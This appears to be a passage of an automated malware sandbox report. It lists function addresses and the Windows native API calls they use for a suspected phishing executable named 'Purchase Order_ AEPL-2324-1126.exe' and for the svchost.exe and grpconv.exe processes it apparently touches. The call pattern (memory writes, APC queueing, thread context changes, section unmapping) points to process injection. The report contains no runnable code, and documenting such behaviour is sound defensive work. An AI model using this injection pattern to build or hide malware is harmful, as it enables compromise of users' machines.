Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772E30 NtWriteVirtualMemory,	2_2_03772E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772EE0 NtQueueApcThread,	2_2_03772EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772EA0 NtAdjustPrivilegesToken,	2_2_03772EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772E80 NtReadVirtualMemory,	2_2_03772E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772D30 NtUnmapViewOfSection,	2_2_03772D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772D10 NtMapViewOfSection,	2_2_03772D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772D00 NtSetInformationFile,	2_2_03772D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772DD0 NtDelayExecution,	2_2_03772DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772DB0 NtEnumerateKey,	2_2_03772DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772C70 NtFreeVirtualMemory,	2_2_03772C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772C60 NtCreateKey,	2_2_03772C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772C00 NtQueryInformationProcess,	2_2_03772C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772CF0 NtOpenProcess,	2_2_03772CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772CC0 NtQueryVirtualMemory,	2_2_03772CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03772CA0 NtQueryInformationToken,	2_2_03772CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03773010 NtOpenDirectoryObject,	2_2_03773010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03773090 NtSetValueKey,	2_2_03773090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037739B0 NtGetContextThread,	2_2_037739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03773D70 NtOpenThread,	2_2_03773D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03773D10 NtOpenProcessToken,	2_2_03773D10
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04594650 NtSuspendThread,LdrInitializeThunk,	5_2_04594650
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04594340 NtSetContextThread,LdrInitializeThunk,	5_2_04594340
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_04592C70
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592C60 NtCreateKey,LdrInitializeThunk,	5_2_04592C60
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592CA0 NtQueryInformationToken,LdrInitializeThunk,	5_2_04592CA0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592D10 NtMapViewOfSection,LdrInitializeThunk,	5_2_04592D10
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592D30 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_04592D30
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592DD0 NtDelayExecution,LdrInitializeThunk,	5_2_04592DD0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_04592DF0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592EE0 NtQueueApcThread,LdrInitializeThunk,	5_2_04592EE0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592E80 NtReadVirtualMemory,LdrInitializeThunk,	5_2_04592E80
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592F30 NtCreateSection,LdrInitializeThunk,	5_2_04592F30
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592FE0 NtCreateFile,LdrInitializeThunk,	5_2_04592FE0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592FB0 NtResumeThread,LdrInitializeThunk,	5_2_04592FB0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592AD0 NtReadFile,LdrInitializeThunk,	5_2_04592AD0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592AF0 NtWriteFile,LdrInitializeThunk,	5_2_04592AF0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592B60 NtClose,LdrInitializeThunk,	5_2_04592B60
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_04592BF0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592BE0 NtQueryValueKey,LdrInitializeThunk,	5_2_04592BE0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592BA0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_04592BA0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045935C0 NtCreateMutant,LdrInitializeThunk,	5_2_045935C0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045939B0 NtGetContextThread,LdrInitializeThunk,	5_2_045939B0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592C00 NtQueryInformationProcess,	5_2_04592C00
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592CC0 NtQueryVirtualMemory,	5_2_04592CC0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592CF0 NtOpenProcess,	5_2_04592CF0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592D00 NtSetInformationFile,	5_2_04592D00
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592DB0 NtEnumerateKey,	5_2_04592DB0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592E30 NtWriteVirtualMemory,	5_2_04592E30
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592EA0 NtAdjustPrivilegesToken,	5_2_04592EA0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592F60 NtCreateProcessEx,	5_2_04592F60
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592F90 NtProtectVirtualMemory,	5_2_04592F90
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592FA0 NtQuerySection,	5_2_04592FA0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592AB0 NtWaitForSingleObject,	5_2_04592AB0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04592B80 NtQueryInformationFile,	5_2_04592B80
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04593010 NtOpenDirectoryObject,	5_2_04593010
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04593090 NtSetValueKey,	5_2_04593090
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04593D70 NtOpenThread,	5_2_04593D70
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04593D10 NtOpenProcessToken,	5_2_04593D10
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002F90F0 NtCreateFile,	5_2_002F90F0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002F9260 NtReadFile,	5_2_002F9260
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002F9350 NtDeleteFile,	5_2_002F9350
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002F93F0 NtClose,	5_2_002F93F0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002F9550 NtAllocateVirtualMemory,	5_2_002F9550

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_00431BE8: GetFullPathNameW,__swprintf,_wcslen,CreateDirectoryW,CreateFileW,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00431BE8

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_00446313 DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,74FD5590,74FD7ED0,CreateProcessAsUserW,74FD5030,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,74FD7F30,

0_2_00446313

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004333BE

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004096A0	0_2_004096A0
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0042200C	0_2_0042200C
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0041A217	0_2_0041A217
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00412216	0_2_00412216
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0042435D	0_2_0042435D
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004033C0	0_2_004033C0
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0044F430	0_2_0044F430
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004125E8	0_2_004125E8
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0044663B	0_2_0044663B
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00413801	0_2_00413801
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0042096F	0_2_0042096F
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004129D0	0_2_004129D0
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004119E3	0_2_004119E3
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0041C9AE	0_2_0041C9AE
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0047EA6F	0_2_0047EA6F
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0040FA10	0_2_0040FA10
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0044EB5F	0_2_0044EB5F
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00423C81	0_2_00423C81
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00411E78	0_2_00411E78
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00442E0C	0_2_00442E0C
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00420EC0	0_2_00420EC0
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0044CF17	0_2_0044CF17
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00444FD2	0_2_00444FD2
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_04003690	0_2_04003690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418533	2_2_00418533
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004010C0	2_2_004010C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00401270	2_2_00401270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402AF7	2_2_00402AF7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402373	2_2_00402373
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402B00	2_2_00402B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402B29	2_2_00402B29
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042EBA3	2_2_0042EBA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004024E2	2_2_004024E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004024F0	2_2_004024F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FD51	2_2_0040FD51
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FD53	2_2_0040FD53
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FF73	2_2_0040FF73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041670F	2_2_0041670F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416713	2_2_00416713
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402F26	2_2_00402F26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402F30	2_2_00402F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040DFF3	2_2_0040DFF3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FA352	2_2_037FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_038003E6	2_2_038003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E3F0	2_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C02C0	2_2_037C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C8158	2_2_037C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_038001AA	2_2_038001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730100	2_2_03730100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F81CC	2_2_037F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03764750	2_2_03764750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373C7C0	2_2_0373C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375C6E0	2_2_0375C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03800591	2_2_03800591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740535	2_2_03740535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F2446	2_2_037F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EE4F6	2_2_037EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FAB40	2_2_037FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F6BD7	2_2_037F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373EA80	2_2_0373EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03756962	2_2_03756962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0380A9A6	2_2_0380A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037429A0	2_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374A840	2_2_0374A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03742840	2_2_03742840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E8F0	2_2_0376E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037268B8	2_2_037268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B4F40	2_2_037B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03760F30	2_2_03760F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03782F28	2_2_03782F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374CFE0	2_2_0374CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03732FC8	2_2_03732FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BEFA0	2_2_037BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740E59	2_2_03740E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FEE26	2_2_037FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FEEDB	2_2_037FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03752E90	2_2_03752E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FCE93	2_2_037FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374AD00	2_2_0374AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373ADE0	2_2_0373ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03758DBF	2_2_03758DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740C00	2_2_03740C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730CF2	2_2_03730CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0CB5	2_2_037E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372D34C	2_2_0372D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F132D	2_2_037F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0378739A	2_2_0378739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E12ED	2_2_037E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375B2C0	2_2_0375B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037452A0	2_2_037452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372F172	2_2_0372F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377516C	2_2_0377516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374B1B0	2_2_0374B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0380B16B	2_2_0380B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F70E9	2_2_037F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FF0E0	2_2_037FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EF0CC	2_2_037EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037470C0	2_2_037470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FF7B0	2_2_037FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F16CC	2_2_037F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F7571	2_2_037F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DD5B0	2_2_037DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03731460	2_2_03731460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FF43F	2_2_037FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFB76	2_2_037FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B5BF0	2_2_037B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0377DBF9	2_2_0377DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375FB80	2_2_0375FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B3A6C	2_2_037B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFA49	2_2_037FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F7A46	2_2_037F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EDAC6	2_2_037EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DDAAC	2_2_037DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03785AA0	2_2_03785AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03749950	2_2_03749950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375B950	2_2_0375B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D5910	2_2_037D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AD800	2_2_037AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037438E0	2_2_037438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFF09	2_2_037FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFFB1	2_2_037FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03741F92	2_2_03741F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03749EB0	2_2_03749EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F7D73	2_2_037F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F1D5A	2_2_037F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03743D40	2_2_03743D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375FDC0	2_2_0375FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B9C32	2_2_037B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FFCF2	2_2_037FFCF2
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04612446	5_2_04612446
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04604420	5_2_04604420
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0460E4F6	5_2_0460E4F6
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04560535	5_2_04560535
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04620591	5_2_04620591
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0457C6E0	5_2_0457C6E0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04584750	5_2_04584750
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04560770	5_2_04560770
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0455C7C0	5_2_0455C7C0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045F2000	5_2_045F2000
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045E8158	5_2_045E8158
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045FA118	5_2_045FA118
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04550100	5_2_04550100
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_046181CC	5_2_046181CC
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_046201AA	5_2_046201AA
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04600274	5_2_04600274
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045E02C0	5_2_045E02C0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461A352	5_2_0461A352
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_046203E6	5_2_046203E6
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0456E3F0	5_2_0456E3F0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04560C00	5_2_04560C00
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04550CF2	5_2_04550CF2
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04600CB5	5_2_04600CB5
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045FCD1F	5_2_045FCD1F
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0456AD00	5_2_0456AD00
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0455ADE0	5_2_0455ADE0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04578DBF	5_2_04578DBF
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04560E59	5_2_04560E59
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461EE26	5_2_0461EE26
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461EEDB	5_2_0461EEDB
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04572E90	5_2_04572E90
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461CE93	5_2_0461CE93
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045D4F40	5_2_045D4F40
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04602F30	5_2_04602F30
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04580F30	5_2_04580F30
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045A2F28	5_2_045A2F28
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04552FC8	5_2_04552FC8
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0456CFE0	5_2_0456CFE0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045DEFA0	5_2_045DEFA0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04562840	5_2_04562840
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0456A840	5_2_0456A840
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0458E8F0	5_2_0458E8F0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045468B8	5_2_045468B8
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04576962	5_2_04576962
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0462A9A6	5_2_0462A9A6
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045629A0	5_2_045629A0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0455EA80	5_2_0455EA80
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461AB40	5_2_0461AB40
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04616BD7	5_2_04616BD7
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04551460	5_2_04551460
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461F43F	5_2_0461F43F
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04617571	5_2_04617571
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045FD5B0	5_2_045FD5B0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_046116CC	5_2_046116CC
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461F7B0	5_2_0461F7B0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461F0E0	5_2_0461F0E0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_046170E9	5_2_046170E9
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045670C0	5_2_045670C0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0460F0CC	5_2_0460F0CC
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0462B16B	5_2_0462B16B
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0454F172	5_2_0454F172
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0459516C	5_2_0459516C
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0456B1B0	5_2_0456B1B0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_046012ED	5_2_046012ED
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0457B2C0	5_2_0457B2C0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045652A0	5_2_045652A0
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0454D34C	5_2_0454D34C
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461132D	5_2_0461132D
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045A739A	5_2_045A739A
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_045D9C32	5_2_045D9C32
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0461FCF2	5_2_0461FCF2
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04617D73	5_2_04617D73
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04563D40	5_2_04563D40
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_04611D5A	5_2_04611D5A
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_0457FDC0	5_2_0457FDC0
